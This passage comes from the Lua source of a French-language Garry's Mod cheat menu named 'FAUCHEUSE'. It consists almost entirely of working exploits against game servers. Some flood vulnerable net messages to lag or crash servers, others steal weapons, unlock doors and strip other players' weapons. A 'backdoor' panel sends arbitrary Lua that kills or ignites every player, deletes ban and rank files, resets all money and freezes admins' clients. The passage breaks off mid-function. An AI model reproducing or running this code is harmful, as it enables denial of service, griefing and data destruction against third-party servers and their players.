  1488. timer.Remove( "Reaper_exploit_lagsploit4" )
  1489. FAUCHEUSE.ChatText( "Lag stoppé" )
  1490. end
  1491. end, },
  1492. },
  1493. } )
  1494. FAUCHEUSE.AddExploit( "Console Spam", {
  1495. desc = "Supposé être un lag exploit mais ne provoque pas de lags, juste des spams console",
  1496. severity = 1,
  1497. scan = function() return ULib end,
  1498. functions = {
  1499. { typ = "func", name = "Big Spam", func = function()
  1500. if !timer.Exists( "Reaper_exploit_bigspames2" ) then
  1501. FAUCHEUSE.ChatText( "Spam et lag lancé." )
  1502. timer.Create( "Reaper_exploit_bigspames2", 0, 0, function()
  1503. for i = 1, 200 do
  1504. LocalPlayer():ConCommand( "_u forget your promess forever but sorry you are a friend" )
  1505. end
  1506. end)
  1507. else
  1508. timer.Remove( "Reaper_exploit_bigspames2" )
  1509. FAUCHEUSE.ChatText( "Spam et lag stoppé" )
  1510. end
  1511. end, },
  1512. },
  1513. } )
  1514. FAUCHEUSE.AddExploit( "Bouton Innutile", {
  1515. desc = "Faire totalement bug le jeu d'un autre ? Pas mal :')",
  1516. severity = 4,
  1517. scan = function() return FAUCHEUSE.ValidNetString( "nostrip" ) end,
  1518. functions = {
  1519. { typ = "players", addr = "casserjeu" },
  1520. { typ = "func", name = "Casser Le Jeu", func = function()
  1521. if !timer.Exists( "trollishere" ) then
  1522. FAUCHEUSE.ChatText( "Ultra Bug Lancé !" )
  1523. timer.Create( "trollishere", 0.02, 0, function()
  1524. for i = 1, 300 do
  1525. FAUCHEUSE.NetStart( "nostrip" )
  1526. net.WriteString( "RunConsoleCommand(\"troll\")" )
  1527. net.SendToServer()
  1528. end
  1529. end)
  1530. else
  1531. timer.Remove( "trollishere" )
  1532. FAUCHEUSE.ChatText( "Ultra Bug Stoppé !" )
  1533. end
  1534. end, },
  1535. },
  1536. } )
  1537. FAUCHEUSE.AddExploit( "Lag Exploit #3", {
  1538. desc = "Faire lag le serveur comme s'il était hébergé en Afrique",
  1539. severity = 2,
  1540. scan = function() return FAUCHEUSE.ValidNetString( "CreateCase" ) end,
  1541. functions = {
  1542. { typ = "func", name = "Big Lag", func = function()
  1543. if !timer.Exists( "Reaper_exploit_lagsploit5" ) then
  1544. FAUCHEUSE.ChatText( "Lag lancé" )
  1545. timer.Create( "Reaper_exploit_lagsploit5", 0.02, 0, function()
  1546. for i = 1, 300 do
  1547. FAUCHEUSE.NetStart( "CreateCase" )
  1548. net.WriteString( "Bitch please" )
  1549. net.SendToServer()
  1550. end
  1551. end)
  1552. else
  1553. timer.Remove( "Reaper_exploit_lagsploit5" )
  1554. FAUCHEUSE.ChatText( "Lag stoppé" )
  1555. end
  1556. end, },
  1557. },
  1558. } )
  1559. FAUCHEUSE.AddExploit( "Lag Exploit #4", {
  1560. desc = "Il doit y en avoir des merdes dans ce serveur !",
  1561. severity = 2,
  1562. scan = function() return FAUCHEUSE.ValidNetString( "rprotect_terminal_settings" ) end,
  1563. functions = {
  1564. { typ = "func", name = "Big Lag", func = function()
  1565. if !timer.Exists( "Reaper_exploit_lagsploit6" ) then
  1566. FAUCHEUSE.ChatText( "Lag lancé" )
  1567. timer.Create( "Reaper_exploit_lagsploit6", 0.02, 0, function()
  1568. for i = 1, 200 do
  1569. FAUCHEUSE.NetStart( "rprotect_terminal_settings" )
  1570. net.WriteEntity( LocalPlayer() )
  1571. net.SendToServer()
  1572. end
  1573. end)
  1574. else
  1575. timer.Remove( "Reaper_exploit_lagsploit6" )
  1576. FAUCHEUSE.ChatText( "Lag stoppé" )
  1577. end
  1578. end, },
  1579. },
  1580. } )
  1581. FAUCHEUSE.AddExploit( "Crash Lags Stacker", {
  1582. desc = "Faire crash un serveur sans props ? Cool :D",
  1583. severity = 2,
  1584. scan = function() return FAUCHEUSE.ValidNetString( "StackGhost" ) end,
  1585. functions = {
  1586. { typ = "func", name = "Big Lags", func = function()
  1587. if !timer.Exists( "Reaper_exploit_lagsploit7" ) then
  1588. FAUCHEUSE.ChatText( "Lag lancé" )
  1589. timer.Create( "Reaper_exploit_lagsploit7", 0.015, 0, function()
  1590. for i = 1, 8 do
  1591. for k,v in pairs( player.GetAll() ) do
  1592. FAUCHEUSE.NetStart( "StackGhost" )
  1593. net.WriteInt(69,32)
  1594. net.SendToServer()
  1595. end
  1596. end
  1597. end)
  1598. else
  1599. timer.Remove( "Reaper_exploit_lagsploit7" )
  1600. FAUCHEUSE.ChatText( "Lag stoppé" )
  1601. end
  1602. end, },
  1603. },
  1604. } )
  1605. FAUCHEUSE.AddExploit( "Réanimation Exploit", {
  1606. desc = "Vous etes automatiquement réanimé après avoir été tué",
  1607. severity = 2,
  1608. scan = function() return FAUCHEUSE.ValidNetString( "RevivePlayer" ) end,
  1609. functions = {
  1610. { typ = "func", name = "Immortel :)", func = function()
  1611. if !timer.Exists( "Reaper_exploit_zombie" ) then
  1612. FAUCHEUSE.ChatText( "Tu es Immortel" )
  1613. timer.Create( "Reaper_exploit_zombie", 0.5, 0, function()
  1614. if !LocalPlayer():Alive() then
  1615. FAUCHEUSE.NetStart("RevivePlayer")
  1616. net.WriteEntity(LocalPlayer())
  1617. net.SendToServer()
  1618. end
  1619. end)
  1620. else
  1621. timer.Remove( "Reaper_exploit_zombie" )
  1622. FAUCHEUSE.ChatText( "Tu es redevenu Mortel!" )
  1623. end
  1624. end, },
  1625. },
  1626. } )
  1627. FAUCHEUSE.AddExploit( "Armory Robbery", {
  1628. desc = "Prenez les armes de la police à l'armurerie (Vous devez etre proche d'elle), a un temps de recharge de 5 minutes",
  1629. severity = 2,
  1630. scan = function() return FAUCHEUSE.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
  1631. functions = {
  1632. { typ = "func", name = "Prendre Arme 1", func = function()
  1633. FAUCHEUSE.NetStart("ARMORY_RetrieveWeapon")
  1634. net.WriteString("weapon1")
  1635. net.SendToServer()
  1636. end, },
  1637. { typ = "func", name = "Prendre Arme 2", func = function()
  1638. FAUCHEUSE.NetStart("ARMORY_RetrieveWeapon")
  1639. net.WriteString("weapon2")
  1640. net.SendToServer()
  1641. end, },
  1642. { typ = "func", name = "Prendre Arme 3", func = function()
  1643. FAUCHEUSE.NetStart("ARMORY_RetrieveWeapon")
  1644. net.WriteString("weapon3")
  1645. net.SendToServer()
  1646. end, },
  1647. },
  1648. } )
  1649. FAUCHEUSE.AddExploit( "Admin Stick / Porte exploit", {
  1650. desc = "Déverrouiller / Verrouiller Porte / Enlever le proprio (vous devez regarder une porte)",
  1651. severity = 3,
  1652. scan = function() return FAUCHEUSE.ValidNetString( "fp_as_doorHandler" ) end,
  1653. functions = {
  1654. { typ = "func", name = "Déverrouiller", func = function()
  1655. FAUCHEUSE.NetStart("fp_as_doorHandler")
  1656. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  1657. net.WriteString("unlock")
  1658. net.SendToServer()
  1659. end, },
  1660. { typ = "func", name = "Verrouiller", func = function()
  1661. FAUCHEUSE.NetStart("fp_as_doorHandler")
  1662. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  1663. net.WriteString("lock")
  1664. net.SendToServer()
  1665. end, },
  1666. { typ = "func", name = "Enlever le Proprio", func = function()
  1667. local door = LocalPlayer():GetEyeTrace().Entity
  1668. local doorOwner = door:getDoorData()["owner"]
  1669. FAUCHEUSE.NetStart("fp_as_doorHandler")
  1670. net.WriteEntity(door)
  1671. net.WriteString("removeOwner")
  1672. net.WriteDouble(doorOwner)
  1673. net.SendToServer()
  1674. end, },
  1675. },
  1676. } )
  1677. FAUCHEUSE.AddExploit( "Reaper Report Spammer", {
  1678. desc = "Envoyer des Report sur tout le monde",
  1679. severity = 1,
  1680. scan = function() return FAUCHEUSE.ValidNetString( "TransferReport" ) end,
  1681. functions = {
  1682. { typ = "func", name = "Report Tout le Monde", func = function()
  1683. for k, v in pairs( player.GetAll() ) do
  1684. FAUCHEUSE.NetStart( "TransferReport" )
  1685. net.WriteString( v:SteamID() )
  1686. net.WriteString( "SERVEUR CODER AVEC LE Q" )
  1687. net.WriteString( "Bitch please" )
  1688. net.SendToServer()
  1689. end
  1690. end, },
  1691. },
  1692. } )
  1693. FAUCHEUSE.AddExploit( "SAC Crash", {
  1694. desc = "Fait instantanément Crash n'importe quel serveur exécutant la simplicité anticheat",
  1695. severity = 3,
  1696. scan = function() return FAUCHEUSE.ValidNetString( "SimplicityAC_aysent" ) end,
  1697. functions = {
  1698. { typ = "func", name = "Crash", func = function()
  1699. local tbl = {}
  1700. for i=1,400 do
  1701. tbl[i] = i
  1702. end
  1703. FAUCHEUSE.NetStart("SimplicityAC_aysent")
  1704. net.WriteUInt(1, 8)
  1705. net.WriteUInt(4294967295, 32)
  1706. net.WriteTable(tbl)
  1707. net.SendToServer()
  1708. end, },
  1709. },
  1710. } )
  1711. FAUCHEUSE.AddExploit( "Crash Serveur", {
  1712. desc = "Cliquez sur ce bouton pour Crash le serveur instantanément.",
  1713. severity = 3,
  1714. scan = function() return FAUCHEUSE.ValidNetString( "pac_to_contraption" ) end,
  1715. functions = {
  1716. { typ = "func", name = "Crash", func = function()
  1717. local tbl = {}
  1718. for i=1,1000000000 do
  1719. tbl[#tbl + 1] = i
  1720. end
  1721. FAUCHEUSE.NetStart("pac_to_contraption")
  1722. net.WriteTable( tbl )
  1723. net.SendToServer()
  1724. end, },
  1725. },
  1726. } )
  1727. local function nukeweapon( ent )
  1728. if !ent:IsValid() then return end
  1729. if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
  1730. FAUCHEUSE.NetStart("properties")
  1731. net.WriteString("remove")
  1732. net.WriteEntity( ent )
  1733. net.SendToServer()
  1734. ent.LNextNuke = CurTime() + 0.5
  1735. end
  1736. local function nukeallweapons( tab )
  1737. for k, v in pairs( tab ) do
  1738. if !v:IsValid() then continue end
  1739. if v.LNextNuke and v.LNextNuke > CurTime() then continue end
  1740. FAUCHEUSE.NetStart("properties")
  1741. net.WriteString("remove")
  1742. net.WriteEntity( v )
  1743. net.SendToServer()
  1744. end
  1745. end
  1746. FAUCHEUSE.AddExploit( "Strip les armes", {
  1747. desc = "Supprimer les armes de n'importes qui.",
  1748. severity = 3,
  1749. scan = function() return FAUCHEUSE.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
  1750. functions = {
  1751. { typ = "string", name = "Type d'Arme à Strip", default = "*", addr = "stripper_gunz" },
  1752. { typ = "players", addr = "stripper_plyz" },
  1753. { typ = "func", name = "Strip", func = function()
  1754. if !timer.Exists( "stripclub" ) then
  1755. FAUCHEUSE.ChatText( "Strip Activé" )
  1756. timer.Create( "stripclub", 0.5, 0, function()
  1757. local t = FAUCHEUSE.GetStored( "stripper_plyz", {} )
  1758. for k, v in pairs( player.GetAll() ) do
  1759. if !table.HasValue( t, v ) then continue end
  1760. local gunz = v:GetWeapons()
  1761. local findstring = FAUCHEUSE.GetStored( "stripper_gunz", "*" )
  1762. if findstring == "*" then nukeallweapons( gunz ) return end
  1763. local findstringtab = string.Explode( ", ", findstring )
  1764. for _, g in pairs( gunz ) do
  1765. for _, s in pairs( findstringtab ) do
  1766. if string.find( string.lower( g:GetClass() ), s ) then
  1767. nukeweapon( g )
  1768. end
  1769. end
  1770. end
  1771. end
  1772. end)
  1773. else
  1774. timer.Remove( "stripclub" )
  1775. FAUCHEUSE.ChatText( "Strip Desactivé" )
  1776. end
  1777. end, },
  1778. },
  1779. } )
  1780. function FAUCHEUSE.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  1781. if !parent:IsValid() then return end
  1782. local TButton = vgui.Create( "DButton" )
  1783. TButton:SetParent( parent )
  1784. TButton:SetPos( x, y + 15 )
  1785. TButton:SetFont( "TargetIDSmall" )
  1786. TButton:SetText( btext )
  1787. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1788. TButton:SizeToContents()
  1789. TButton:SetTall( 26 )
  1790. if tooltip then TButton:SetToolTip( tooltip ) end
  1791. TButton.Paint = function( self, w, h )
  1792. surface.SetDrawColor( Color(math.random(0,150),math.random(0,150),math.random(0,150)))
  1793. surface.DrawRect( 0, 0, w, h )
  1794. surface.SetDrawColor( Color(25, 25, 25, 255) )
  1795. surface.DrawOutlinedRect( 0, 0, w, h )
  1796. end
  1797. TButton.DoClick = function()
  1798. func()
  1799. end
  1800. return TButton:GetWide(), TButton:GetTall()
  1801. end
  1802. function FAUCHEUSE.HTXBackdoor( parent, x, y, btext )
  1803. if !parent:IsValid() then return end
  1804. local TButton = vgui.Create( "DButton" )
  1805. TButton:SetParent( parent )
  1806. TButton:SetPos( x, y + 15 )
  1807. TButton:SetText( btext )
  1808. TButton:SetFont( "TargetIDSmall" )
  1809. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1810. TButton:SizeToContents()
  1811. TButton:SetTall( 26 )
  1812. TButton.Paint = function( self, w, h )
  1813. surface.SetDrawColor( Color(math.random(1,255),math.random(1,255),math.random(1,255)))
  1814. surface.DrawRect( 0, 0, w, h )
  1815. surface.SetDrawColor( Color(25, 25, 25, 255) )
  1816. surface.DrawOutlinedRect( 0, 0, w, h )
  1817. end
  1818. TButton.DoClick = function()
  1819. FAUCHEUSE.HTXCommandeListe()
  1820. end
  1821. return TButton:GetWide(), TButton:GetTall()
  1822. end
  1823. function FAUCHEUSE.HTXCommandeListe()
  1824. if FAUCHEUSE.HTXCommandeSelector and FAUCHEUSE.HTXCommandeSelector:IsVisible() then FAUCHEUSE.HTXCommandeSelector:Remove() end
  1825. FAUCHEUSE.HTXCommandeSelector = vgui.Create("DFrame")
  1826. FAUCHEUSE.HTXCommandeSelector:SetSize(550,550)
  1827. FAUCHEUSE.HTXCommandeSelector:SetTitle("Created By Zilnix")
  1828. FAUCHEUSE.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() )
  1829. FAUCHEUSE.HTXCommandeSelector:MakePopup()
  1830. FAUCHEUSE.HTXCommandeSelector.Paint = function( s, w, h )
  1831. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1832. surface.DrawRect( 0, 0, w, h )
  1833. surface.SetDrawColor( Color(255, 255, 255, 255) )
  1834. surface.DrawOutlinedRect( 0, 0, w, h )
  1835. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1836. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1837. surface.DrawRect( 70, 80, w - 130, h - 20 )
  1838. surface.SetDrawColor( Color(255, 255, 255, 255))
  1839. surface.DrawOutlinedRect( 70, 80, w - 130, h - 20 )
  1840. surface.DrawOutlinedRect( 71, 81, w - 132, h - 22 )
  1841. surface.SetDrawColor( Color(255, 255, 255, 200))
  1842. draw.DrawText( "MENU HTX", "Trebuchet24", 240, 2, Color(math.random(1,255),math.random(1,255),math.random(1,255)) )
  1843. end
  1844. local DScrollPanel = vgui.Create( "DScrollPanel", FAUCHEUSE.HTXCommandeSelector )
  1845. DScrollPanel:Dock( FILL )
  1846. local zilnixestbo1 = vgui.Create("DButton", DScrollPanel)
  1847. zilnixestbo1:SetSize( 350, 20 )
  1848. zilnixestbo1:SetPos( 100, 175 )
  1849. zilnixestbo1:SetText("Tuer tous les joueurs")
  1850. zilnixestbo1:SetTextColor(Color(255, 255, 255, 255))
  1851. zilnixestbo1.Paint = function(panel, w, h)
  1852. surface.SetDrawColor(255, 255, 255 ,255)
  1853. surface.DrawOutlinedRect(0, 0, w, h)
  1854. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1855. surface.DrawRect(0, 0, w, h)
  1856. end
  1857. zilnixestbo1.DoClick = function()
  1858. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1859. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  1860. net.WriteBit(1)
  1861. net.SendToServer()
  1862. end
  1863. local zilnixestbo2 = vgui.Create("DButton", DScrollPanel)
  1864. zilnixestbo2:SetSize( 350, 20 )
  1865. zilnixestbo2:SetPos( 100, 100 )
  1866. zilnixestbo2:SetText("Super-Spam Visuel/Sonore 2")
  1867. zilnixestbo2:SetTextColor(Color(255, 255, 255, 255))
  1868. zilnixestbo2.Paint = function(panel, w, h)
  1869. surface.SetDrawColor(255, 255, 255 ,255)
  1870. surface.DrawOutlinedRect(0, 0, w, h)
  1871. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1872. surface.DrawRect(0, 0, w, h)
  1873. end
  1874. zilnixestbo2.DoClick = function()
  1875. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1876. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
  1877. net.WriteBit(1)
  1878. net.SendToServer()
  1879. end
  1880. local zilnixestbo3 = vgui.Create("DButton", DScrollPanel )
  1881. zilnixestbo3:SetSize( 350, 20 )
  1882. zilnixestbo3:SetPos( 100, 125 )
  1883. zilnixestbo3:SetText("Débannir tout les bannis")
  1884. zilnixestbo3:SetTextColor(Color(255, 255, 255, 255))
  1885. zilnixestbo3.Paint = function(panel, w, h)
  1886. surface.SetDrawColor(255, 255, 255 ,255)
  1887. surface.DrawOutlinedRect(0, 0, w, h)
  1888. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1889. surface.DrawRect(0, 0, w, h)
  1890. end
  1891. zilnixestbo3.DoClick = function()
  1892. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1893. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  1894. net.WriteBit(1)
  1895. net.SendToServer()
  1896. end
  1897. local zilnixestbo4 = vgui.Create("DButton", DScrollPanel )
  1898. zilnixestbo4:SetSize( 350, 20 )
  1899. zilnixestbo4:SetPos( 100, 150 )
  1900. zilnixestbo4:SetText("Ignite tous les joueurs")
  1901. zilnixestbo4:SetTextColor(Color(255, 255, 255, 255))
  1902. zilnixestbo4.Paint = function(panel, w, h)
  1903. surface.SetDrawColor(255, 255, 255 ,255)
  1904. surface.DrawOutlinedRect(0, 0, w, h)
  1905. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1906. surface.DrawRect(0, 0, w, h)
  1907. end
  1908. zilnixestbo4.DoClick = function()
  1909. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1910. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  1911. net.WriteBit(1)
  1912. net.SendToServer()
  1913. end
  1914. local zilnixestbo5 = vgui.Create("DButton", DScrollPanel )
  1915. zilnixestbo5:SetSize( 350, 20 )
  1916. zilnixestbo5:SetPos( 100, 475 )
  1917. zilnixestbo5:SetText("Supprimer les grades")
  1918. zilnixestbo5:SetTextColor(Color(255, 255, 255, 255))
  1919. zilnixestbo5.Paint = function(panel, w, h)
  1920. surface.SetDrawColor(255, 255, 255 ,255)
  1921. surface.DrawOutlinedRect(0, 0, w, h)
  1922. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1923. surface.DrawRect(0, 0, w, h)
  1924. end
  1925. zilnixestbo5.DoClick = function()
  1926. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1927. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  1928. net.WriteBit(1)
  1929. net.SendToServer()
  1930. end
  1931. local zilnixestbo6 = vgui.Create("DButton", DScrollPanel )
  1932. zilnixestbo6:SetSize( 350, 20 )
  1933. zilnixestbo6:SetPos( 100, 375 )
  1934. zilnixestbo6:SetText("Redémarrer le serveur")
  1935. zilnixestbo6:SetTextColor(Color(255, 255, 255, 255))
  1936. zilnixestbo6.Paint = function(panel, w, h)
  1937. surface.SetDrawColor(255, 255, 255 ,255)
  1938. surface.DrawOutlinedRect(0, 0, w, h)
  1939. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1940. surface.DrawRect(0, 0, w, h)
  1941. end
  1942. zilnixestbo6.DoClick = function()
  1943. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1944. net.WriteString("RunConsoleCommand(\"changelevel \"..game.GetMap())")
  1945. net.WriteBit(1)
  1946. net.SendToServer()
  1947. end
  1948. local zilnixestbo7 = vgui.Create("DButton", DScrollPanel)
  1949. zilnixestbo7:SetSize( 350, 20 )
  1950. zilnixestbo7:SetPos( 100, 200 )
  1951. zilnixestbo7:SetText("Hurlement sur tous les joueurs")
  1952. zilnixestbo7:SetTextColor(Color(255, 255, 255, 255))
  1953. zilnixestbo7.Paint = function(panel, w, h)
  1954. surface.SetDrawColor(255, 255, 255 ,255)
  1955. surface.DrawOutlinedRect(0, 0, w, h)
  1956. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1957. surface.DrawRect(0, 0, w, h)
  1958. end
  1959. zilnixestbo7.DoClick = function()
  1960. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1961. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  1962. net.WriteBit(1)
  1963. net.SendToServer()
  1964. end
  1965. local zilnixestbo8 = vgui.Create("DButton", DScrollPanel)
  1966. zilnixestbo8:SetSize( 350, 20 )
  1967. zilnixestbo8:SetPos( 100, 225 )
  1968. zilnixestbo8:SetText("Changer le model des joueurs")
  1969. zilnixestbo8:SetTextColor(Color(255, 255, 255, 255))
  1970. zilnixestbo8.Paint = function(panel, w, h)
  1971. surface.SetDrawColor(255, 255, 255 ,255)
  1972. surface.DrawOutlinedRect(0, 0, w, h)
  1973. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1974. surface.DrawRect(0, 0, w, h)
  1975. end
  1976. zilnixestbo8.DoClick = function()
  1977. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1978. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
  1979. net.WriteBit(1)
  1980. net.SendToServer()
  1981. end
  1982. local zilnixestbo9 = vgui.Create("DButton", DScrollPanel)
  1983. zilnixestbo9:SetSize( 350, 20 )
  1984. zilnixestbo9:SetPos( 100, 250 )
  1985. zilnixestbo9:SetText("Niquer la physics du jeu")
  1986. zilnixestbo9:SetTextColor(Color(255, 255, 255, 255))
  1987. zilnixestbo9.Paint = function(panel, w, h)
  1988. surface.SetDrawColor(255, 255, 255 ,255)
  1989. surface.DrawOutlinedRect(0, 0, w, h)
  1990. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  1991. surface.DrawRect(0, 0, w, h)
  1992. end
  1993. zilnixestbo9.DoClick = function()
  1994. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  1995. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
  1996. net.WriteBit(1)
  1997. net.SendToServer()
  1998. end
  1999. local zilnixestbo10 = vgui.Create("DButton", DScrollPanel)
  2000. zilnixestbo10:SetSize( 350, 20 )
  2001. zilnixestbo10:SetPos( 100, 275 )
  2002. zilnixestbo10:SetText("Inverser la gravité")
  2003. zilnixestbo10:SetTextColor(Color(255, 255, 255, 255))
  2004. zilnixestbo10.Paint = function(panel, w, h)
  2005. surface.SetDrawColor(255, 255, 255 ,255)
  2006. surface.DrawOutlinedRect(0, 0, w, h)
  2007. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2008. surface.DrawRect(0, 0, w, h)
  2009. end
  2010. zilnixestbo10.DoClick = function()
  2011. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2012. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
  2013. net.WriteBit(1)
  2014. net.SendToServer()
  2015. end
  2016. local zilnixestbo11 = vgui.Create("DButton", DScrollPanel)
  2017. zilnixestbo11:SetSize( 350, 20 )
  2018. zilnixestbo11:SetPos( 100, 300 )
  2019. zilnixestbo11:SetText("Reset tout l'argent du serveur")
  2020. zilnixestbo11:SetTextColor(Color(255, 255, 255, 255))
  2021. zilnixestbo11.Paint = function(panel, w, h)
  2022. surface.SetDrawColor(255, 255, 255 ,255)
  2023. surface.DrawOutlinedRect(0, 0, w, h)
  2024. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2025. surface.DrawRect(0, 0, w, h)
  2026. end
  2027. zilnixestbo11.DoClick = function()
  2028. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2029. net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
  2030. net.WriteBit(1)
  2031. net.SendToServer()
  2032. end
  2033. local zilnixestbo12 = vgui.Create("DButton", DScrollPanel)
  2034. zilnixestbo12:SetSize( 350, 20 )
  2035. zilnixestbo12:SetPos( 100, 325 )
  2036. zilnixestbo12:SetText("Faire voler tous les joueurs")
  2037. zilnixestbo12:SetTextColor(Color(255, 255, 255, 255))
  2038. zilnixestbo12.Paint = function(panel, w, h)
  2039. surface.SetDrawColor(255, 255, 255 ,255)
  2040. surface.DrawOutlinedRect(0, 0, w, h)
  2041. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2042. surface.DrawRect(0, 0, w, h)
  2043. end
  2044. zilnixestbo12.DoClick = function()
  2045. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2046. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  2047. net.WriteBit(1)
  2048. net.SendToServer()
  2049. end
  2050. local zilnixestbo13 = vgui.Create("DButton", DScrollPanel)
  2051. zilnixestbo13:SetSize( 350, 20 )
  2052. zilnixestbo13:SetPos( 100, 350 )
  2053. zilnixestbo13:SetText("Crash tous les admins/vip")
  2054. zilnixestbo13:SetTextColor(Color(255, 255, 255, 255))
  2055. zilnixestbo13.Paint = function(panel, w, h)
  2056. surface.SetDrawColor(255, 255, 255 ,255)
  2057. surface.DrawOutlinedRect(0, 0, w, h)
  2058. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2059. surface.DrawRect(0, 0, w, h)
  2060. end
  2061. zilnixestbo13.DoClick = function()
  2062. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2063. net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
  2064. net.WriteBit(1)
  2065. net.SendToServer()
  2066. end
  2067. local zilnixestbo14 = vgui.Create("DButton", DScrollPanel)
  2068. zilnixestbo14:SetSize( 350, 20 )
  2069. zilnixestbo14:SetPos( 100, 75 )
  2070. zilnixestbo14:SetText("Coup De Faucheuse")
  2071. zilnixestbo14:SetTextColor(Color(255, 255, 255, 255))
  2072. zilnixestbo14.Paint = function(panel, w, h)
  2073. surface.SetDrawColor(255, 255, 255 ,255)
  2074. surface.DrawOutlinedRect(0, 0, w, h)
  2075. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2076. surface.DrawRect(0, 0, w, h)
  2077. end
  2078. zilnixestbo14.DoClick = function()
  2079. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
